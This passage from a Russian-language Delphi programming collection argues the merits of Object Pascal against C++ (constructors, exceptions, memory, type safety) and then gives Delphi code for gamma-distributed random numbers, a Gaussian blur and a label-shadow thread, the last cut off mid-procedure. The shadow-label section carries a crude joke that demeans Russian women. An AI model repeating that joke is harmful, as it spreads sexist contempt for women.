(КоТ: сорри, сир! Переопределив new под это дело (кстати, одно из упражнений в каком-то С++-учебнике), вполне возможно и вызвать. Только потом приходится delete лечить - он-то базируется на стандартных умолчаниях. То есть, данных объекта нет, и объекту адрес не выделен, но VMT его есть. В библиотеке или там где еще, не суть. И к этой VMT можно добраться через разную там… гм… CENSORED Плюс дельфы в откровенности доступа ко всем VMT проекта, независимо, созданы ли объекты соответствующих классов).
Как правило, на этом месте фанаты С++ начинают кричать, что это де нелогично, так быть не должно… Но на самом деле нет ничего плохого в том, что конструктор использует в своей работе виртуальные принципы. Никто не утверждает, что экземпляр станет объектом С или В раньше, чем он станет объектом А. Конструкторы всего лишь выполняют свою работу, не важно в каком порядке.
(КоТ: От слабости кричать. Т.к. это, безусловно, бонус дельфе перед С++, но и С++-модель определенные преимущества все-таки имеет).
Более того, вызов указанной виртуальной функции совершенно бесполезен. Почему? В С++ при работе каждого из конструкторов A, B, C таблица виртуальных методов VMT будет соответствовать именно тому классу, к которому принадлежит конструктор. Т.е. вызов ЛЮБЫХ виртуальных методов в конструкторе С++ теряет всякий смысл, т.к. не является виртуальным (будет вызван соответствующий метод для класса А или В, а не для С). То же касается и деструкторов С++.
В ОР при работе любого из конструкторов предков VMT всегда соответствует РЕАЛЬНОМУ создаваемому классу, т.е. классу С. Вызовы виртуальных методов будут правильными. В принципе, это может создать опасную ситуацию, когда в данном виртуальном методе какой-то из наследников подразумевает, что класс уже полностью сконструирован. Именно для разрешения этой проблемы и существует виртуальный метод AfterConstruction.
Теперь мы четко видим, что конструкторы ОР обладают НАМНОГО большей гибкостью и мощью. Конечно, при условии, что программист понимает, что делает. (КоТ: при условии, что программист понимает, что делает, и С++ не так уж плох ;-) А это не так уж и сложно. По крайней мере, практика показывает, что эти конструкторы не доставляют никаких хлопот программистам. А значит, увеличение мощи не уменьшило "безопасности программирования" :) Продолжим.
class E: public A,B {
C* c_;
D* d_;
public:
E(); // реализацию см.ниже
~E() { delete d_; delete c_; }
}
E::E() // конструктор класса E
try
: A(1), B(1), c_( new C ), d_( new D ) // список инициализации
{ //начало тела конструктора
cout<<"Constructor body";
} // конец тела конструктора
catch(...){ // ловим любое исключение
A::~A();
B::~B();
delete c_;
delete d_;
}
Непривычное написание, не так ли? Да, в Делфях нельзя ВЕСЬ процесс конструирования поместить в блок try except.
Неправильно! Скорее можно сказать, что в ОР нельзя НЕ поместить весь процесс конструирования в блок try…except. При вызове конструктора ОР как классового (статического, в терминах С++) метода (т.е. через классовую ссылку) блок try…except устанавливается АВТОМАТИЧЕСКИ. При возникновении любого необработанного исключения в конструкторе автоматически вызывается деструктор. Это, однако, не мешает вписать в тело конструктора свои блоки обработки исключений, в том числе и для полной, безопасной обработки некоторых их типов.
Здесь уместно более подробно осветить различия в способах вызова конструкторов ОР. Как я уже говорил, конструктору компилятором неявно передается параметр, который говорит, что он вызывается как классовый или как обычный метод.
В случае классового метода: устанавливается блок try…except; вызывается виртуальный метод NewInstance, выделяющий память под экземпляр класса. В случае переопределения Вами этого метода: размер экземпляра можно получить методом InstanceSize; память нужно очистить методом InitInstance; отрабатывает тело конструктора; вызывается виртуальный метод AfterConstruction. В случае обычного метода выполняется только тело конструктора. Блок try…except НЕ устанавливается. Так вызываются все собственные конструкторы и конструкторы предков из тела какого-либо конструктора класса (они все равно попадут в установленный блок обработки исключений). Конструктор может быть вызван где угодно. Главное - использовать объектную ссылку (Self.Create), а не классовую. Условно, реальный код конструктора мог бы выглядеть так:
function TSomething.Create(IsClassRef: boolean): TSomething;
begin
if IsClassRef then
try
Self := TSomthing.NewInstance;
InitInstance(Self);
Self.Create(False); // Тело конструктора,
// написанное разработчиком
Self.AfterConstruction;
except
Self.Destroy; // Если что - харакири :)
end
else
Self.Create(False); // Тело конструктора
Result := Self;
end;
Аналогичная песня с деструкторами. Но здесь обойдемся без лишних объяснений:
procedure TSomething.Destroy(Deallocate: boolean);
begin
if Deallocate then
Self.BeforeDestruction;
Self.Destroy(False);
if Deallocate then
begin
Self.CleanupInstance;
Self.FreeInstance;
end;
end;
Еще раз замечу, что это чисто гипотетический код, создаваемый компилятором, а не реализация конкретного класса. Конечно, в нем нет никаких рекурсивных вызовов. Продолжим.
Но как же быть с динамическими ресурсами? Спросите вы. Все очень просто: E::E() // конструктор класса E
try
: A(1), B(1), c_( NULL ), d_( NULL ) // список инициализации
{ //начало тела конструктора
try{
c_ = new C;
d_ = new D;
cout<<"Constructor body";
}
catch(...){
if(c_) delete C;
if(d_) delete D;
throw;
}
} // конец тела конструктора
catch(...){ // ловим любое исключение
throw E_ErrorCreate();
}
Видно, что я использовал блок try...catch только для "перевода" одного исключения в другое. И назначение этого блока только такое и никакого другого. Использование его в других целях может привести к гадостям (КоТ: если ножом кухонным неправильно пользоваться, это МОЖЕТ привести даже к смерти… Но ведь не обязательно же приводит! Так претензии к ножу (языку), или к кривым рукам?) ,поэтому в некоторых С++ компиляторах (фирмы Борланд например) эта возможность от греха подальше убрана. Вы еще не заскучали?
Нет, Дмитрий, с Вами не соскучишься :)
Здесь хочу лишь заметить, что в ОР нет необходимости чистить ресурсы в конструкторе. На это есть деструктор! (КоТ: Вот!!!) Логично, не так ли? Зачем плодить двойной код. А вот конструкции вида if Assigned(MyObject1) then FreeAndNil(MyObject1); if Assigned(MyObject2) then FreeAndNil(MyObject2);ОЧЕНЬ рекомендуется использовать именно в деструкторе. Это хороший стиль. (КоТ: что да, то да.) Конструкция аналогичная if (c_) delete c_ (кстати, здесь была ошибка). (КоТ: с != 0 бывает, т.к NULL-тип машинно-зависимый. Но пустой указатель где-то представлен, напр, отрицательным числом. Если мне понадобилось, я бы писал
if (С ! = NULL) // что надо сделать с Схотя Страуструп и советует использовать 0 вместо NULL - в третьей редакции книги. В первой, помнится, советовал обратное ;) Ведь деструктор может быть вызван в любой момент работы конструктора, и часть ресурсов будет неинициализирована. Привел я этот пример не для демонстрации возможностей блока try...catch, а для того чтобы показать как С++ сам делает безопасным процесс "конструирования" класса. В Делфи все это ложиться на хрупкие плЭчи программера.
(КоТ: "Врать не надо по телефону" (с) Булгаков).
Теперь мы видим, кто действительно "сам делает безопасным процесс конструирования класса", а кто перекладывает все это на чьи-то "хрупкие плЭчи". Кстати о Делфях, я там не нашел аналог функции С++ - uncaught_exception() - показывает статус стека исключений. Благодаря этой функции ваш деструктор знает - нормальное это "устранение" класса или не нормальное. По-моему, очень даже пользительно. Что значит ненормальное устранение класса? Может, мы еще будем считать возникновение исключения ненормальной ситуацией? Между прочим, на исключениях вполне можно выстроить логику работы класса или библиотеки. В ОР этому, кстати, очень способствуют такие преимущества модели исключений перед ANSI C++, как наличие общего предка исключений (и то, что это вообще классы, а не абы что) и наличие блока try…finally (ну это просто добавляет удобств по сравнению с try…catch(…){ throw; }) Поэтому не совсем понятно, зачем понадобилась некая функция uncaught_exception(). Зачем лезть в идеологию работы исключений со своим уставом? Ведь они как раз и избавляют разработчика от чрезмерного применения if. Это еще называется реактивной моделью программирования. Но, раз есть спрос, то есть и предложение: ExceptAddr function - returns the address at which the current exception was raised. ExceptObject function - returns a reference to the object associated with the current exception. ExceptProc variable - points to the lowest-level RTL exception handler. Фича в том, что оператор new уже выделил память для экземпляра класса TObject, а тут ррраз! И исключение! Что делает С++? Он тут же освободит память - не надо ставить блок try...catch. Все сделает С++. Ну, как говориться, приятная неожиданность. (КоТ: это стандарт, и кто не знает его, как может говорить, что знает С++?) Ну, это только для тех, кто не очень хорошо знает ОР и С++. Впрочем, такие "детские" неожиданности не избавляют программера в С++ от необходимости защиты динамических ресурсов. В ОР же в это время можно попить пива ;) Я не привожу примеры реализации более полезных УМНЫХ указателей, реализующих сборку мусора и правильную работу с ресурсами вообще. Судя по всему, автор прочитал книгу Джефа Элджера "C++", испестренную идеями УМНЫХ, ВЕДУЩИХ, ГЕНИАЛЬНЫХ указателей и сборки мусора. Здесь хочу заметить, что я иногда читаю книги с карандашом в руке. Это очень хорошая, умная (КоТ: ведущая и гениальная ;-) книга про С++. Только во время ее чтения, постоянно задумываешься, а как можно сделать тоже самое в ОР. В результате после прочтения книга превратилась в записную книжку, испестренную замечаниями о том, насколько проще и красивее выглядела бы в ОР большая часть предлагаемых решений. Для интересующихся - основная идея в использовании свойств и интерфейсов. 1) Работа с несколькими "собственными" кучами. Например, все покупатели складываются в одну кучу. А поступаемые товары в другую… Как видите осталось только реализовать менеджер кучи, что в рамках С++ вещь простая и ведущая себя незаметно (как встроенная фича). Можно так извернуться в Делфях? Нет (КоТ: Если можно проще и лучше, так изворачиваться-то нафиг?) Мы уже выяснили, что можно. И как-то изворачиванием это и не назовешь. Обычная работа. Хочешь, переопределяй работу с памятью на уровне классов, хочешь, глобальный менеджер памяти напиши. 2) Помимо "многокучности", оператор new предоставляет вам возможность "виртуального" размещения объекта. Например в файле, в Сети, где вашей душеньке будет угодно. Это тоже недоступно в Делфях. (КоТ: Это и в С++ без корбы тоже не особенно хорошо получается, кстати. И опять же, нафига? чтобы без спроса прога в своп лазила? Или в инет звонила?) Откуда такая категоричность? Возможностей "виртуального" размещения у ОР ничуть не меньше. Или операционная система предоставляет для программ на С++ особые механизмы работы с файлами, с сетью и т.д.? Кстати о преобразовании типов. Делфи обязан безопасному преобразованию типов(as и is) C++, а точнее шаблону dynamic_cast. (КоТ: Страуструп: "как правило, НЕБЕЗОПАСНО (выделено мной - КоТ) использовать указатель, преобразованный или приведенный с помощью функций …_cast к типу, отличному от типа объекта, на который он указывает.") Да, а в ОР эта вещь абсолютно безопасна… Не уверен, что кто-то кому-то обязан, тем более шаблону. У ОР всегда была и остается система RTTI, намного превосходящая возможности С++. Да и вообще, RTTI - это обобщенный языковой механизм. При чем здесь конкретные реализации? Правда в Делфях такое же ограничение на множественное наследование, как и в Яве. Один класс должен быть интерфейсным. Что за терминология? Дмитрий, наверное, имел в виду, что в списке предков класса ДОЛЖЕН быть указан один класс, и МОЖЕТ быть указано сколько угодно интерфейсов. Дело в том, что в Делфи тип class реализован через одно очень загадочное место. Связано это с большой нелюбовью паскаля к памяти (КоТ: это БЫЛО в ДОСе, десять лет назад, но ведь с тех пор воды утекло - !!!) Можно, конечно, и так сказать. Все в мире относительно. Но я до сих пор встречал очень мало людей, достаточно глубоко знающих устройство классов в Delphi, точнее мне доводилось только читать их труды. И статью Дмитрия тяжело отнести к таким трудам. И почему он решил, что ОР не любит память? Тип указатель в паскале создан только для того, чтобы указывать на что-то в динамической памяти(куче). Он создан, как шлюз между статической памятью паскаля и кучей. Странно, но зачем-то разработчики языка оставили возможность приводить целое к указателю (КоТ: к дождю, может быть? ;-) Ни разу не доводилось слышать об ограничении указателей ОР на работу только с кучей. Возможность же приводить целое к указателю позволяет "двигаться" по памяти (не думаю, что это секрет для Дмитрия). Кстати, для указателей на строки допустимы операции "+" и "-" (в том числе в комбинации с целыми) без приведения типов. Такое понятие как ссылка не знакомо паскалю (КоТ: тогда в 6.0 под ДОС я работал не с ссылками… а с чем???) Ссылка в терминологии ОР - это типизированный указатель. А используя термины С++ (КоТ: Страуструп: "Ссылка является альтернативным именем объекта.") ссылкой в ОР являются формальные параметры методов, объявленные с использованием var или out (возможно кто-то не знал, out - то же, что и var, только работает исключительно на возврат значения). Кроме того, чистой воды ссылками являются объектные переменные (Button1: TButton). Если вы пишите класс "комплексное число", а затем решаете создать массив чисел, то array [1..10] of TComplex; будет на самом деле занимать в памяти 4*10 байт плюс выравнивание. Т.о. вы может быть хотели именно массив ТОЛЬКО КОМПЛЕКСНЫХ чисел, а не указателей на них. Но вместо этого, после инициализации, у вас будет израсходовано (4*10 + 10*sizeof(TComplex)) байт памяти. Короче сами считайте Действительно, использовать классы ОР в массивах не очень удобно. Есть несколько более экономичных решений: 1) Можно организовать свой менеджмент памяти для TComplex, размещая экземпляры в памяти подряд (например, в заранее выделенном пуле), и работу, скажем, на основе динамического массива. Не самое простое решение, но весьма эффективное и красивое (КоТ: Кстати, активно применяется в С++-модели). 2) Можно вместо классов использовать записи record, организовав их в массив, являющийся свойством по умолчанию какого-то класса:
TItem = record …
end;
TArray = class
public
property Items[Index: integer]: TItem
read GetItem
write SetItem;
default;
end;
Это будет самое экономичное решение, т.к. каждый экземпляр любого класса имел бы как минимум ссылку на таблицу VMT. А запись содержит только необходимые данные. Вся же логика работы - в классе TArray. 3) Можно использовать старые "объекты" Паскаля вместо "классов": TComplex = object … end; И массив таких объектов будет содержать сами объекты, а не ссылки на них. Это будет самое оригинальное решение. Кстати, на таких объектах построена библиотека KOL (http://xcl.cjb.net/) - аналог VCL. Размер EXE файлов с использованием этой библиотеки начинается от 4.5К (если не изменяет склероз :) Одним словом, проблема в разработчике, а не в языке. (КоТ: Вот!!!)
Паскаль маленький язык и это не недостаток. (КоТ: Уф!. Ну сколько можно говорить о паскале 10-летней давности?) ?) Его не замечаешь, когда пишешь прогу большую или маленькую. (КоТ: это высшая похвала паскалю вообще. Лучшая одежда - та, которой не замечаешь.) Почему? (КоТ: Потому, что это хороший язык.)
Потому что Паскаль от Борланд специальный язык, т.е. предназначен для узкой области. Узкая - это не значит, что программ мало, просто цели в этой области отличаются не намного.
(КоТ: "С++ создавался для того, чтобы ИЗБАВИТЬ автора и его друзей ОТ ПРОГРАММИРОВАНИЯ НА АССЕМБЛЕРЕ" - (с) Бьерн Страуструп. Дельфа, возможно, создавалась для того, чтобы избавить автора от программирования на паскале, который вообще создавался изначально для ОБУЧЕНИЯ ПОНЯТИЯМ информатики. Оба эти языка свои цели выполнили с блеском. Ну так о чем же спор, цели-то разные?)
Не знаю, может быть ОР и маленький язык. Однако я оцениваю свои знания ОР не более, чем на 60-70% (хотя меня как-то угораздило сдать экзамен на сертификат Brainbench Certified Master Delphi Programmer :), не включая сюда VCL или среду Delphi, разговор только о самом языке. Если охватить все, то я вообще ничего не знаю. Поэтому мне даже как-то неловко заниматься здесь исправлениями. Я считаю, что для этого необходим куда больший кругозор. Но пока за эту задачу никто не взялся. Видимо настоящим профессионалам просто не до этого.
По поводу узости области применения. До последнего времени я считал, что единственное, что нельзя делать в Delphi - это писать драйвера (ОР тут ни причем, это не языковое ограничение). Но недавно натолкнулся на пример создания в Delphi 3 драйвера VxD. Что еще? Игрушки, сетевые сервисы, системные утилиты, распределенные базы данных, научные программы, средства мультимедиа в Delphi пишут и очень успешно. Так о чем речь?
Поэтому резонно было бы выбрать язык, который необходим только для склеивания компонентов или их написания. За все остальное отвечает среда.
После таких утверждений становится странно, как человек позволяет себе критиковать продукт, о котором имеет лишь зачаточное представление. За что "все остальное" отвечает среда? В виде списка, пожалуйста.
Delphi IDE - это, по большому счету, лишь оболочка, набор зацепок к возможностям библиотеки VCL и шикарный пример использования возможностей языка. Это продукт, тратящий наименьшее количество усилий для выполнения одной и той же работы в сравнении с аналогами. Ведь в лице библиотеки VCL он в design-time использует тот же самый код, который работает в готовом приложении. Для сохранения спроектированной формы со всеми компонентами в ресурс Delphi достаточно одной строчки кода!
И потом, "склеивание" и "написание" компонент - вещи по своей сложности абсолютно разные. Visual Basic тоже хорошо склеивает COM-компоненты, только вот с их написанием у VB как-то не очень… То, что ОР позволяет легко и непринужденно создавать и склеивать любые компоненты говорит лишь о его мощности, продуктивности и универсальности. Совершенно очевидно, что сегодня ОР по этому показателю не имеет не то что конкурентов, а даже толковых аналогов.
VCL не является языковым расширением Паскаля - это "ОО" библиотека. Транспортом же между такими библиотеками и отдельными компонентами выступает некая переделка СОМ от Борланд.
Да, VCL - вещь самостоятельная, пока она строится на ОР. Далее автор, похоже, говорит о RTTI. Но причем здесь транспорт между библиотеками и отдельными компонентами? Библиотека - понятие чисто условное. Каждый написанный мной компонент становится полноправной частью VCL. Правильнее, наверно, говорить о транспорте между компонентами и их пользователями, в частности средой Delphi IDE.
К вопросу о переделках. Delphi начинала разрабатываться где-то в 92-93 году. Трудно говорить, кто кого переделал. Да это и не важно. Важно то, что компонент Delphi в полной мере обладает обоими механизмами.
И опять же отбросьте этот транспорт, который не является частью языка, и от Делфи ничего не останется. (КоТ: Отбрось Gdb\Gtk, STL - что останется от милого нашему сердцу С++?) Поэтому Делфи очень гармоничная со своими недостатками среда для разработки GUI приложений под винды.
Да, RTTI - незаметная, но ключевая для Delphi технология. А вот с тем, что она не является частью языка можно крепко поспорить. Достаточно вспомнить операторы AS и IS, которые целиком базируются на RTTI. Да и от TObject никуда не убежишь. Попробуй скажи, что это не часть языка. А ведь основное содержание TObject - реализация RTTI.
Кроме того, Delphi идеально подходит не только для создания GUI приложений, но и консольных, и приложений без визуального интерфейса вообще (например, сервисы Windows NT). К счастью компоненты Delphi не ставят во главу угла визуальность/невизуальность. Это абсолютно универсальные в применении классы. Уже поэтому Delphi разительно отличается от, например, MSVC++, где в основе слова "Visual" лежит наличие у компонента оконного идентификатора и множество маловразумительных макросов и комментариев по тексту, которые нельзя (!) редактировать. Вот где действительно безопасный язык! Ведь программист может все испортить :)
По поводу недостатков можно сказать лишь то, что вряд ли у конкурирующих с Delphi продуктов их меньше. А вообще, давайте взглянем на Delphi 6 и Kylix. Уверен, что сюрпризов там будет более чем достаточно.
(Кот: я очень надеюсь, что у нас научатся, наконец, считать "Итого", а не только недостатки и достоинства отдельно).
Похоже, Дмитрий применительно к безопасности программирования рассматривал только те моменты, которые, по его мнению, хорошо смотрелись в С++ в сравнении с ОР. Здесь, кстати, стоит упомянуть такие преимущества С++ над ОР, как возможность понижать видимость членов класса, а также указание const при объявлении метода, что гарантирует неизменность атрибутов объекта при вызове метода. Однако не стоит забывать, что ОР является языком, который действительно ставит во главу угла безопасность практически во всем. Можно долго перечислять все его тонкости, избавляющие программера от головной боли и рутиной работы. Как пример, можно привести директиву implements для свойств (делегирование реализации) или объявление глобальных переменных в разделе threadvar для поддержки многопоточности, или замечательную реализацию работы со строками и динамическими массивами на уровне компилятора. Очень важное для безопасности программирования свойство - объявление новых типов. Гради Буч: "К сожалению, конструкция typedef не определяет нового типа данных и не обеспечивает его защиты. Например, следующее описание в С++:typedef int Count;просто вводит синоним для примитивного типа int." В ОР же мы можем создать абсолютно новый тип. Для этого надо применить ключевое слово type:
type Count = type int64; // другой тип Alias = int64; // синонимТипы Count и int64 уже не будут совместимы без приведения типов. А вот пример стандартизованной фичи компилятора (соответственно и языка) С++:
long FileSize = 256 * 1024;В 16-битном компиляторе вы в результате получите 0. Очень приятный сюрприз! А дело в том, что 256 и 1024 по отдельности попадают в int (2 байта), а их произведение уже в long (4 байта). Однако стандарт С++ как раз в том и заключается, что произведение будет также помещено в int. И уже только после этого произойдет присвоение к long. Соответственно туда попадает только младшая часть произведения, которая равна нулю. Спасает написание в форме 256 * 1024L. На 32 битах все будет нормально, т.к. размеры типов int и long совпадают (4 байта). Некоторые начинают вяло возражать, что такие вещи нужно помнить, что это, мол, нормально. Однако в эту проблему (обнаружили ее случайно) конкретно уперлись два программера на С++ с очень хорошим опытом работы и в течение получаса не смогли ее решить. С ходу помог только действительно матерый эксперт С++. Ну, и как это выглядит с точки зрения безопасности программирования?
(КоТ: плохо выглядит).
А как "эстетичны" в каждом hеаdеr'е С++ конструкции типа:#ifndef _MYHEADER_H #define _MYHEADER_H … body of the header … #endifПолучается, я вместо компилятора должен следить, чтобы в проекте оказалась только одна копия каждого файла. Кстати, особенности ОР как языка обеспечивают не только безопасность программирования, но и безопасность полученного софта, как таковую. К примеру, более половины дыр в безопасности программ отраженных в Bugtraq возникают из-за проблемы переполнения буфера. А эта проблема является визитной карточкой С/С++. Дошло до того, что выпускаются специальные пакеты, которые патчят исходники С++. Как один из вариантов решения проблем безопасности предлагают писать на Pascal… После всего, что я тут наговорил, может возникнуть мысль: "А почему же тогда Борланд двигает Делфи?". "И почему VCL написан на паскале, а не на С++?". Резонно. Мыслям вообще свойственно появляться в головах человеков. Нет, мысль возникает не такая. С этим все ясно и так, VCL и Delphi не могут быть написаны ни на чем другом (можно, конечно, на С++ написать компилятор ОР, что вполне реализуемо, и потом в нем все делать, но ведь разработчика такой способ явно не устроит). Возникает другая мысль. Почему уровень знаний ОР у очень многих программистов так удручающе низок (КоТ: С С++ ситуация ничуть не лучше. Груда книг всяких, прости господи, пересмешников. А если прочитать 1 (один) раз Страуструпа, множество вопросов просто отпадет). Понятно, что литература у нас в основном "для чайников". Но иногда надо хотя бы help читать. Похоже считается делом чести начитаться умных книжек "с примерами приложений на С++", а для Delphi, мол, можно ограничиться знанием Object Insресtоr'а. При этом многие такие программисты почему-то считают для себя возможным критиковать возможности ОР. Может быть потому, что Delphi дала им возможность быстро и легко воплотить свои идеи? А потом вдруг что-то не получилось… И вот, виновата Delphi. Можно с уверенностью сказать, что С++ такому программисту все равно не поможет. Кажется беда Delphi как раз в том, что за внешней простотой многие не могут разглядеть ее истинные возможности. Да и решения об использовании конкретного языка принимаются зачастую на уровне руководства, которое вообще ничего не видит, кроме финансовых показателей дяди Билли. (КоТ: за что я вообще и выбрал линух - это система людей, имеющих роскошь на рынок в некоторых местах вообще плевать. Хотя от рынка, конечно уйти нельзя. Да и зачем? В умеренных дозах рынок - это очень хорошо.) Для любящих спорить. Не стоит критиковать какие-то возможности продукта, не до конца в них разобравшись. Современные языки слишком многогранны, чтобы один человек досконально знал хотя бы два языка. Я лично не уверен, что все мои рассуждения на 100% достоверны, но старался, как мог. Поэтому буду рад техническим исправлениям. "Портос, если Вы говорите глупости, то делайте это, пожалуйста, только от своего имени". P.S. Красота драгоценного камня, как известно, зависит не только от породы, но и от мастерства огранщика. Только тогда обычный белый свет превращается в нем в причудливую игру разноцветных искр. Так что учите матчасть, и Delphi вас не подведет :) (КоТ: Два слова напоследок - не удержался. Я полагаю, что С++, что дельфа - языки одного уровня, но разных подуровней. Бессмысленно их сравнивать вообще. С++ старше - хотя бы поэтому дельфа лучше, т.к написана на его крови, если можно так сказать. Но дельфа все-таки следующее поколение языков. Стоит ли сравнивать сына с отцом, и чему удивляться? Уже народ типами не оперирует, уже оперирует свойствами и объектами. Кто даст хороший язык для этого, тот и выиграет. А что до С++ - учите матчасть… И не хуже будет, чем в дельфе. ;) P.P.S. Да, в конце концов, все измеряется способностями конкретного "юзера" языка. Хочется верить, что эта статья поможет кому-нибудь сделать очередной шаг на длинном пути от "чайника" к "профи".
Гамма распределение.
Автор: Алексей Перов WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Гамма распределение
Возвращает случайное число, распределенное по закону Гамма-распределения
Зависимости: system
Автор: Алексей Перов, aperov@rambler.ru, ICQ:102661702, Караганда
Copyright: Лабораторные работы по курсу "Моделирование информационных систем", КарГТУ
Дата: 25 апреля 2002 г.
***************************************************** }
function RandomGamma(k, a: Extended): Extended;
{ гамма распределение }
var
tr: Extended;
i: Integer;
begin
tr := 1;
for i := 1 to Round(k) do
tr := tr * random;
Result := -ln(tr) / a
end;
Пример использования:
x := RandomGamma(10, 5);
Гауссово размывание (Gaussian Blur) в Delphi.

Во всяком случае вы можете сделать так:
unit GBlur2;
interface
uses Windows, Graphics;
type
PRGBTriple = ^TRGBTriple;
TRGBTriple = packed record
b: byte; //легче для использования чем типа rgbtBlue...
g: byte;
r: byte;
end;
PRow = ^TRow;
TRow = array[0..1000000] of TRGBTriple;
PPRows = ^TPRows;
TPRows = array[0..1000000] of PRow;
const
MaxKernelSize = 100;
type
TKernelSize = 1..MaxKernelSize;
TKernel = record
Size: TKernelSize;
Weights: array[-MaxKernelSize..MaxKernelSize] of single;
end;
//идея заключается в том, что при использовании TKernel мы игнорируем
//Weights (вес), за исключением Weights в диапазоне -Size..Size.
procedure GBlur(theBitmap: TBitmap; radius: double);
implementation
uses SysUtils;
procedure MakeGaussianKernel(var K: TKernel; radius: double;
MaxData, DataGranularity: double);
//Делаем K (гауссово зерно) со среднеквадратичным отклонением = radius.
//Для текущего приложения мы устанавливаем переменные MaxData = 255,
//DataGranularity = 1. Теперь в процедуре установим значение
//K.Size так, что при использовании K мы будем игнорировать Weights (вес)
//с наименее возможными значениями. (Малый размер нам на пользу,
//поскольку время выполнения напрямую зависит от
//значения K.Size.)
var
j: integer;
temp, delta: double;
KernelSize: TKernelSize;
begin
for j := Low(K.Weights) to High(K.Weights) do
begin
temp := j / radius;
K.Weights[j] := exp(-temp * temp / 2);
end;
//делаем так, чтобы sum(Weights) = 1:
temp := 0;
for j := Low(K.Weights) to High(K.Weights) do
temp := temp + K.Weights[j];
for j := Low(K.Weights) to High(K.Weights) do
K.Weights[j] := K.Weights[j] / temp;
//теперь отбрасываем (или делаем отметку "игнорировать"
//для переменной Size) данные, имеющие относительно небольшое значение -
//это важно, в противном случае смазавание происходим с малым радиусом и
//той области, которая "захватывается" большим радиусом...
KernelSize := MaxKernelSize;
delta := DataGranularity / (2 * MaxData);
temp := 0;
while (temp < delta) and (KernelSize > 1) do
begin
temp := temp + 2 * K.Weights[KernelSize];
dec(KernelSize);
end;
K.Size := KernelSize;
//теперь для корректности возвращаемого результата проводим ту же
//операцию с K.Size, так, чтобы сумма всех данных была равна единице:
temp := 0;
for j := -K.Size to K.Size do
temp := temp + K.Weights[j];
for j := -K.Size to K.Size do
K.Weights[j] := K.Weights[j] / temp;
end;
function TrimInt(Lower, Upper, theInteger: integer): integer;
begin
if (theInteger <= Upper) and (theInteger >= Lower) then
result := theInteger
else if theInteger > Upper then
result := Upper
else
result := Lower;
end;
function TrimReal(Lower, Upper: integer; x: double): integer;
begin
if (x < upper) and (x >= lower) then
result := trunc(x)
else if x > Upper then
result := Upper
else
result := Lower;
end;
procedure BlurRow(var theRow: array of TRGBTriple; K: TKernel; P: PRow);
var
j, n, LocalRow: integer;
tr, tg, tb: double; //tempRed и др.
w: double;
begin
for j := 0 to High(theRow) do
begin
tb := 0;
tg := 0;
tr := 0;
for n := -K.Size to K.Size do
begin
w := K.Weights[n];
//TrimInt задает отступ от края строки...
with theRow[TrimInt(0, High(theRow), j - n)] do
begin
tb := tb + w * b;
tg := tg + w * g;
tr := tr + w * r;
end;
end;
with P[j] do
begin
b := TrimReal(0, 255, tb);
g := TrimReal(0, 255, tg);
r := TrimReal(0, 255, tr);
end;
end;
Move(P[0], theRow[0], (High(theRow) + 1) * Sizeof(TRGBTriple));
end;
procedure GBlur(theBitmap: TBitmap; radius: double);
var
Row, Col: integer;
theRows: PPRows;
K: TKernel;
ACol: PRow;
P: PRow;
begin
if (theBitmap.HandleType <> bmDIB) or (theBitmap.PixelFormat <> pf24Bit) then
raise
exception.Create('GBlur может работать только с 24-битными изображениями');
MakeGaussianKernel(K, radius, 255, 1);
GetMem(theRows, theBitmap.Height * SizeOf(PRow));
GetMem(ACol, theBitmap.Height * SizeOf(TRGBTriple));
//запись позиции данных изображения:
for Row := 0 to theBitmap.Height - 1 do
theRows[Row] := theBitmap.Scanline[Row];
//размываем каждую строчку:
P := AllocMem(theBitmap.Width * SizeOf(TRGBTriple));
for Row := 0 to theBitmap.Height - 1 do
BlurRow(Slice(theRows[Row]^, theBitmap.Width), K, P);
//теперь размываем каждую колонку
ReAllocMem(P, theBitmap.Height * SizeOf(TRGBTriple));
for Col := 0 to theBitmap.Width - 1 do
begin
//- считываем первую колонку в TRow:
for Row := 0 to theBitmap.Height - 1 do
ACol[Row] := theRows[Row][Col];
BlurRow(Slice(ACol^, theBitmap.Height), K, P);
//теперь помещаем обработанный столбец на свое место в данные изображения:
for Row := 0 to theBitmap.Height - 1 do
theRows[Row][Col] := ACol[Row];
end;
FreeMem(theRows);
FreeMem(ACol);
ReAllocMem(P, 0);
end;
end.
|
Должно работать, если только вы не удалите некоторый код вместе с глупыми коментариями. Для примера:
procedure TForm1.Button1Click(Sender: TObject);
var
b: TBitmap;
begin
if not openDialog1.Execute then
exit;
b := TBitmap.Create;
b.LoadFromFile(OpenDialog1.Filename);
b.PixelFormat := pf24Bit;
Canvas.Draw(0, 0, b);
GBlur(b, StrToFloat(Edit1.text));
Canvas.Draw(b.Width, 0, b);
b.Free;
end;
|
Имейте в виду, что 24-битные изображения при системной 256-цветной палитре требуют некоторых дополнительных хитростей, так как эти изображения не только выглядят в таком случае немного "странными", но и серьезно нарушают работу фильтра.
Гауссово размывание (Gaussian Blur) в Delphi (продолжение) - Создание тени у метки.
| Автор: Den is Com |
| - Вот ты мне скажи, почему когда заходишь на иностранный сайт, то в основном реклама на продукцию или услуги, а когда заходишь на русские сайты, то обязательно на эротику или порнуху, в России что? Все озабоченные? Голых баб сроду не видели? - Да нет, это просто потому, что бабы - это единственный продукт, который делают в России, и иногда даже очень удачно. |
Пример использования:
ShowFade(CaptionLabel); //или ShowFadeWithParam(CaptionLabel,3,3,2,clGray); |
Blur.pas.
unit blur;
interface
uses
Classes, graphics, stdctrls, gblur2;
const
add_width = 4;
add_height = 5;
type
TBlurThread = class(TThread)
private
{ Private declarations }
text_position: Integer;
FadeLabel: TLabel;
Temp_Bitmap: TBitmap;
procedure ShowBlur;
procedure SetSize;
protected
F_width, F_X, F_Y: Integer;
F_color: TColor;
procedure Execute; override;
public
constructor Create(Sender: TLabel; Fade_width: integer; Fade_X: Integer;
Fade_Y: Integer; Fade_color: TColor);
destructor Destroy;
end;
procedure ShowFade(Sender: TLabel);
procedure ShowFadeWithParam(Sender: TLabel; Fade_width: integer; Fade_X:
Integer; Fade_Y: Integer; Fade_color: TColor);
implementation
procedure ShowFadeWithParam(Sender: TLabel; Fade_width: integer; Fade_X:
Integer; Fade_Y: Integer; Fade_color: TColor);
var
SlowThread: TBlurThread;
begin
SlowThread := TBlurThread.Create(Sender, Fade_width, Fade_X, Fade_Y,
Fade_color);
SlowThread.Priority := tpIdle;
SlowThread.Resume;
end;
procedure ShowFade;
var
SlowThread: TBlurThread;
begin
SlowThread := TBlurThread.Create(Sender, 3, 3, 3, clBlack);
SlowThread.Priority := tpIdle;
